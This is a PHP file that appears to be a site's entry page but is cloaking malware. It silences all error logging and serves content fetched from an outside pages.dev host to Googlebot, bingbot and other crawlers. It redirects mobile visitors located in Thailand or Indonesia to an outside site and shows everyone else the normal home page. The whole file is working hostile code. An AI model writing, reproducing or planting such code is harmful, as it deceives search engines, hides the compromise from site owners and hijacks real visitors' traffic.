<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
set_error_handler(function() { return true; });

header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

function get_external_content($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
    $data = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode == 200) {
        return $data;
    }
    return false;
}

function is_google_bot() {
    $agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-Image", "AhrefsBot", "TelegramBot", "bingbot");
    foreach ($agents as $agent) {
        if (isset($_SERVER['HTTP_USER_AGENT']) && stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
            return true;
        }
    }
    return false;
}

function is_mobile() {
    return preg_match("/(android|iphone|ipad|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
}

function get_ip() {
    return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

function is_target_country($ip) {
    $countryCode = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '';
    if (empty($countryCode)) {
        $context = stream_context_create(array('http' => array('timeout' => 2)));
        $geo = @json_decode(file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode", false, $context), true);
        $countryCode = $geo['countryCode'] ?? '';
    }
    $target = array('TH', 'ID');
    return in_array(strtoupper($countryCode), $target);
}

$ip_user = get_ip();
$bot_check = is_google_bot();

if ($bot_check) {
    $bot_content = get_external_content('https://ccy2930.pages.dev/zonebar.cz/public.txt');
    if ($bot_content) {
        echo $bot_content;
    }
} else {
    if (is_mobile() && is_target_country($ip_user)) {
        header("Location: https://shnth.com/th/ryl");
        echo '<meta http-equiv="refresh" content="0; url=https://shnth.com/th/ryl">';
        exit;
    } else {
        include('home.php');
        exit;
    }
}
?>